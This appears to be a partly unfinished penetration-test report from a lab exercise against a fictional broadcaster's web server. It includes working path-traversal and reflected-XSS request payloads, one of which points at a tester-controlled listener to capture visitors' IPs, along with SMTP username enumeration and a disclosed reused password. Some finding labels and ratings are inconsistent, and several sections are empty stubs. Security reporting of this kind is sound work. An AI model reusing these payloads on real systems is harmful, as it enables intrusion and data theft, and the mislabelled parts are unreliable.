The internal/customers.php page displays a list of customers to employees who have logged into the site. The application loads the list, stored in /data/customers.list, using the list URL parameter. The list parameter value is the location of the list. The below figure shows the code in customers.php, where the value of list is used to include the file contents.

|  |
| --- |
| if($\_COOKIE['authenticated']==1){  print(base64\_decode("ZmxhZzJ7YXV0aG9yaXplZF91c2VyX2FjY2Vzc30=")."</br>");  include $\_GET['list'];  } |

**PHP Code to Load Customer List**

The value of list is inserted directly into the include statement. This allowed the Hyperthetical team to access other files stored on the server by changing the value. Although they were unable to access certain restricted resources, they were able to access data in the server user account’s home directory, such as flag3, as shown below:

Graphical user interface, application

Description automatically generated  
**Flag 3 Contents Displayed**

The following request and response pair demonstrate the assessment team’s attack and the application response with the contents of flag3.

**Request:**

|  |
| --- |
| GET /internal/customers.php?list=..%2Fdata%2f..%2f..%2f..%2f..%2fhome%2fgibson%2fflag3 HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity...  Cookie: authenticated=1  Connection: close |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Fri, 28 Apr 2023 11:00:48 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <p><b>Future Customers</b>  </p>  </header>  <p>FOR INTERNAL USE ONLY</p>  <p>flag2{authorized\_user\_access}</br>1  The Deliverator belongs to an elite order, a hallowed subcategory. He's got esprit up to here. Right now, he is preparing to carry out his third mission of the night. His uniform is black as activated charcoal, filtering the very light out of the air. A bullet will bounce off its arachnofiber weave like a wren hitting a patio door, but excess perspiration wafts through it like a breeze through a freshly napalmed forest, Where his body has bony extremities, the suit has sintered armorgel: feels like gritty jello, protects like a stack of telephone books.  ...omitted for brevity... |

An authenticated attacker would be able to use this vulnerability to access sensitive information on the server. Furthermore, an unauthenticated attacker would be able to perform this vulnerability by bypassing the authentication protections on /internal/customers.php. For more information, please refer to the [Insufficient Authorization Controls](#_Insufficient_Authentication_Control) finding.

#### **Steps to Reproduce**

1. Replace the value of list with the location of a different file on the server.

Ex:

..%2Fdata%2f..%2f..%2f..%2f..%2fhome%2fgibson%2fflag3

#### **Remediation Recommendations**

##### **Additional Resources**

### **Password Reuse**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Password Reuse | | |
| **High Risk** | CVSS Score | 7.4 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |

**Description:**

**Affected Locations**:

This issue was present throughout the scope.

#### **Details**

The assessment team discovered that the following accounts used the string digital for the password.

* Web Application User Account gibson
* 10.10.0.66 User Account gibson
* 10.10.0.66 Localhost MySQL Server root Account

#### **Remediation Recommendations**

##### **Additional Resources**

## **Medium Risk Findings**

### **Cross Site Scripting (Reflected)**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Command Injection | | |
| **High Risk** | CVSS Score | 5.3 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |

**Description:** Cross-Site Scripting(XSS) vulnerabilities allow an attacker to inject arbitrary script code that will be executed by a victim’s web browser. An attacker can exploit this vulnerability by sending malicious script code to a vulnerable application that passes the script to the user. Because of this, XSS attacks target the application users. The application acts as a delivery mechanism. Because the malicious code is passed to the victim’s browser through the application, the browser cannot differentiate between legitimate and malicious code.

**Affected Locations**:

http://10.10.0.66/login.php

* username URL Parameter

http://10.10.0.66/internal/employee.php

* user URL Parameter

http://10.10.0.66:8001/internal/employee.php

* user URL Parameter

#### **Details**

**employee.php**

The employee.php page welcomes users after login by displaying their username. The employee username is stored in the user URL parameter. The below figure shows the code in employee.php where the value of user is printed to the page.

|  |
| --- |
| <header class="major">  <p><b>Welcome, <?php  if($\_GET['authenticated']=='1'){  print($\_GET["user"]);  } else {  print("ERROR: Not Authenticated");  } ?> |

**PHP Code to Welcome User**

The parameter data is printed directly to the page without validation or sanitization. This allowed the assessment team to insert malicious scripts into the page content by editing the value of the user URL parameter. By crafting a URL with a user value that pointed to an externally hosted file, the assessment team was able to capture the ip address of any user who clicked the malicious URL. The following figures show the request to the malicious URL and the application response with embedded HTML.

**Request:**

|  |
| --- |
| GET /internal/employee.php?name=%3Cimg%20src%3d%22http%3a%2f%2f10%2e10%2e0%2e10%3a31337%2ftest%22%3E HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity... |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Thu, 27 Apr 2023 20:20:30 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <p><b>Welcome, <img src="http://10.10.0.10:31337/test"> </b>  </p>  </header>  ...omitted for brevity...  </html> |

The link to the image was invalid, meaning no real image was displayed on the site.

A picture containing graphical user interface

Description automatically generated  
**Embedded Image**

However, when the assessor’s browser attempted to load the image, it sent a request to the team’s server, as shown below:

|  |
| --- |
| GET /test HTTP/1.1  Host: 10.10.0.10:31337  ...omitted for brevity... |

**Request from Browser to Attacking Server**

The Hyperthetical team’s server logs show the request and the IP address of the user.

|  |
| --- |
| $ python3 -m http.server 31337  Serving HTTP on 0.0.0.0 port 31337 (http://0.0.0.0:31337/) ...  10.10.0.10 - - [27/Apr/2023 17:57:16] code 404, message File not found  10.10.0.10 - - [27/Apr/2023 17:57:16] "GET /test HTTP/1.1" 404 - |

**Server Logs**

An attacker could leverage this vulnerability to run scripts in the context of a logged-in user who clicked on their malicious URL, as well as to steal cookie data and other sensitive information.

**login.php**

The login page of the NBN web application displays an error message after failed login attempts. The error message includes the username submitted during the login attempt. The below figure shows the code used to display the error message in login.php.

|  |
| --- |
| // Get username  $user = $\_GET[ 'username' ];  $user = mysqli\_real\_escape\_string($conn, $user);  ...omitted for brevity...  // Check the database  $query = "SELECT \* FROM `users` WHERE user = '$user' AND password = '$pass';";  $result = mysqli\_query($conn, $query) or die( '<pre>' . mysqli\_error($conn) . '</pre>' );  if( $result && mysqli\_num\_rows($result) > 0 ) { // Login Successful...  setcookie("authenticated", "1");  header('Location: /internal/employee.php?name='.$user);  } else {  // Login failed  setcookie("authenticated", "0");  $error\_message = "Login failed. Query: ".$query; |

**Error Message in login.php**

The value of the username parameter is sanitized before it is inserted into the query string. However, it was still possible for the assessment team to inject malicious code into the URL that would execute when the browser attempted to load the page. By inserting <script> tags and JavaScript content into the username parameter, they forced the browser to execute an alert, shown in the following figure.

A picture containing text

Description automatically generated  
**Alert**

The following figures show the request to the payloaded URL and the application response containing the embedded script.

**Request:**

|  |
| --- |
| GET /login.php?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=a&Login=Enter HTTP/1.1  Host: 10.10.0.66  ...omitted for brevity... |

**Response:**

|  |
| --- |
| HTTP/1.1 200 OK  Date: Thu, 27 Apr 2023 19:10:08 GMT  ...omitted for brevity...  <div class="container">  <header class="major">  <h2>Login</h2>  Login failed. Query: SELECT \* FROM `users` WHERE  user = '<script>alert(1)</script>' AND password =  '0cc175b9c0f1b6a831c399e269772661'; </header>  <p>  ...omitted for brevity... |

#### An attacker would be able to use this vulnerability to execute JavaScript code in the browser of any user who clicked on a specially crafted URL.

#### **Steps to Reproduce**

1. Replace the value of the vulnerable URL parameter with malicious JavasScript code.

Ex:

/login.php?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=a&Login=Enter

#### **Remediation Recommendations**

* Use contextual entity encoding to convert script code into harmless output for any application that includes user-supplied input.
* Consider all user unput untrusted and perform server-side validation.
* Implement modern browser headers such as Content Security Policy (CSP), which can provide robust protection against XSS and other content injection issues.

##### **Additional Resources**

OWASP – Cross-Site Scripting (XSS)

* <https://owasp.org/www-community/attacks/xss/>

### **SMTP User Enumeration**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| SMTP User Enumeration | | |
| **Medium Risk** | CVSS Score | 4.3 |
| CVSS Vector String | CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |

**Description:**

**Affected Locations**:

172.16.1.2

* Port 25

#### **Details**

The assessment team was able to enumerate usernames on the SMTP service based on the difference in responses by the service. The application responded to valid usernames with a 250 or 252 response, while it responded to invalid usernames with a 550 response. The below terminal output demonstrates how the assessment team enumerated a valid username.

|  |
| --- |
| $ proxychains telnet 172.16.1.2 25  Escape character is '^]'.  220 gobvesclient.gobvesbank ESMTP Postfix (Ubuntu)  EHLO all  ...omitted for brevity...  MAIL FROM: me  250 2.1.0 Ok  RCPT TO:test  550 5.1.1 <test>: Recipient address rejected: User unknown in local recipient table  RCPT TO:gibson  550 5.1.1 <gibson>: Recipient address rejected: User unknown in local recipient table  VRFY root  252 2.0.0 root  VRFY blaugh  550 5.1.1 <blaugh>: Recipient address rejected: User unknown in local recipient table  RCPT TO:root  250 2.1.5 Ok  RCPT TO:test  550 5.1.1 <test>: Recipient address rejected: User unknown in local recipient table  RCPT TO:admin  550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table |

**Server Logs**

An attacker could leverage this vulnerability to obtain a list of valid usernames for use in later attacks such as password spraying.

#### **Remediation Recommendations**

* Use
* .

##### **Additional Resources**

OWASP – Cross-Site Scripting (XSS)

* <https://owasp.org/www-community/attacks/xss/>

## **Low Risk Findings**

### **Open Web Directory**

#### **Overview**

|  |  |  |
| --- | --- | --- |
| Open Web Directory | | |
| **Low Risk** | CVSS Score | 3.7 |
| CVSS Vector String | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N |

**Description:** TODO

**Affected Locations**:

http://10.10.0.66/data/

http://10.10.0.66/images/

http://10.10.0.66:8001/data/

http://10.10.0.66:8001/images/

#### **Details**

The assessment team discovered multiple open web directories throughout the NBN web application. Some of them contained sensitive information or names of restricted files. The /data/ directory shown below contains sensitive information that should not be accessed without authorization and shows the names of files that cannot be accessed.

Table

Description automatically generated with medium confidence  
**Open Web Directory**

#### **Remediation Recommendations**

##### **Additional Resources**

### **Finding Name**

#### **Overview**

**CVSS Score:**

**CVE: If applicable**

**Description:**

**Affected Locations:**

#### **Details and Steps to Reproduce**

#### **Remediation Recommendations**

##### **Additional Resources**

##### 

# Roles and Responsibilities

The Hyperthetical team consists of experienced penetration testers who will work closely with NBN's IT staff throughout the testing process. We will assign a project manager to oversee testing and ensure that clear lines of communication are maintained throughout the engagement.

## Hyperthetical Consulting

|  |  |
| --- | --- |
| Hyperthetical Security Consulting (“Hyperthetical”) | |
| Business Address | 6 MetroTech Center, Brooklyn, NY 11201 |
| Website | https://hyperthetical.com |
| **Lead/Technical Consultant** | |
| Assessor Name | Lindsay Von Tish |
| Title | CEO, Senior Security Consultant |
| Email | lmv9443@nyu.edu |
| Telephone | (646) 997-3600 |
| **Engagement Manager** | |
| Name | Lindsay Von Tish |
| Title | CEO, Senior Security Consultant |
| Email | lmv9443@nyu.edu |
| Telephone | (646) 997-3600 |

## Near-Earth Broadcast Network

|  |  |
| --- | --- |
| Near-Earth Broadcast Network (“NBN”) | |
| Business Address | 1800 Archer St. The Bronx, NY 10460 |
| Website | https://corp.nbn |
| **Point of Contact** | |
| Name | Bill Gibson |
| Title | CISO |
| Email | gibson@corp.nbn |

# Appendix A: Glossary and Definitions

**Asset:** Something that holds value, whether it’s a system or data, that a threat may be trying to access or compromise.

**Attack Vector:** The path or means by which an attacker can access a system or network.

**Authentication:** The process of verifying the identity of a user or device before granting access to a computer system or network.

**Authorization:** The process of granting or denying access to a specific resource or system based on a user's identity and permissions.

**Denial of Service (DoS):** An attack meant to make a system unavailable to legitimate users.

**Encryption**: The process of converting sensitive data into an unreadable format to protect it from unauthorized access.

**Ethical Hacking:** Authorized behavior and actions to identify vulnerabilities of a system to help improve its security posture.

**Exploit:** A threat event that weaponizes code or an application, to take advantage of a weakness for the purpose of having an intended effect to a target that would otherwise be impossible, unintended by the target owner, or unauthorized.

**Firewall:** A network security system that monitors and controls incoming and outgoing network traffic.

**Hacking:** Using something in a deliberate way to create effects that is against the original intention or design.

**LoLBins (“Living off the Land Binaries”):** Legitimate binaries or executables included with operating systems or other software that an attacker can use to perform malicious activities, often to evade detection by security software.

**Mitigation:** A measure taken to reduce the risk of a successful attack or to minimize the harm caused by an attack.

**Patch:** A software update that fixes a computer system or network vulnerability.

**Penetration testing:** A method of testing a computer system, network, or web application to identify vulnerabilities and exploit them to gain unauthorized access to sensitive data.

**Phishing:** A social engineering attack that uses email or other messaging platforms to trick users into revealing sensitive information or clicking on malicious links or attachments.

**Risk:** The potential for damage or harm resulting from a successful attack.

**Security Audit:** A thorough checklist of security controls are measured against both technical implementations, policies, and procedures.

**Severity:** The degree of harm that could result from a successful attack, often measured on a scale from low to critical.

**Social engineering:** Using psychological manipulation to trick users into divulging sensitive information or performing actions that could compromise security.

**Threat:** Something that can cause the system harm, either adversarial, environmental, or accidental.

**Threat Event:** The event that is doing some harm against a target. Adversarial could take the form of recon, creating weapons (exploits), attacking, exfiltrating data, or other malicious actions against a target. Non-adversarial examples might be disk failure, employee negligence, or natural disaster.

**Vulnerability:** A weakness in a business process, configuration, operating system, or application that can be used to create unintended and undesired scenarios or opportunities for threat events.

# Appendix B: Tools

## Reconnaissance

|  |  |
| --- | --- |
| Name | URL |
| BuiltWith | <https://builtwith.com/> |
| Get All URLs (GAU) | <https://github.com/lc/gau> |
| GoWitness | <https://github.com/sensepost/gowitness> |
| Massscan | <https://github.com/robertdavidgraham/masscan> |
| Nmap | <https://nmap.org/> |
| Recon-ng | <https://www.kali.org/tools/recon-ng/> |
| Shodan | <https://www.shodan.io/> |
| TheHarvester | <https://www.kali.org/tools/theharvester/> |

## Vulnerability Discovery

|  |  |
| --- | --- |
| Name | URL |
| FFUF | <https://github.com/ffuf/ffuf> |
| Gobuster | <https://github.com/OJ/gobuster> |
| Nikto |  |
| Nmap Scripting Engine (NSE) | <https://nmap.org/book/nse.html> |
| OpenVAS | <https://github.com/sullo/nikto> |

## Exploitation and Escalation

|  |  |
| --- | --- |
| Name | URL |
| CrackMapExec | <https://www.kali.org/tools/crackmapexec/> |
| Metasploit | <https://www.metasploit.com/> |
| Mimikatz | <https://github.com/ParrotSec/mimikatz> |
| PowerSploit | <https://github.com/PowerShellMafia/PowerSploit> |
| Responder | <https://github.com/SpiderLabs/Responder> |

# Appendix C: Flags

## Flag 1

**Location:** http://10.10.0.66/data/flag1

**Access:** Flag 1 was accessible through the web application without authorization.

Text

Description automatically generated  
**Flag 1**

.oom

## Flag 2

**Location:** http://10.10.0.66/internal/customers.php?list=..%2Fdata%2Fcustomer.list

**Access:** Flag 2 was accessible through the web application with authorized user access.

Graphical user interface, text

Description automatically generated with medium confidence  
**Flag 2**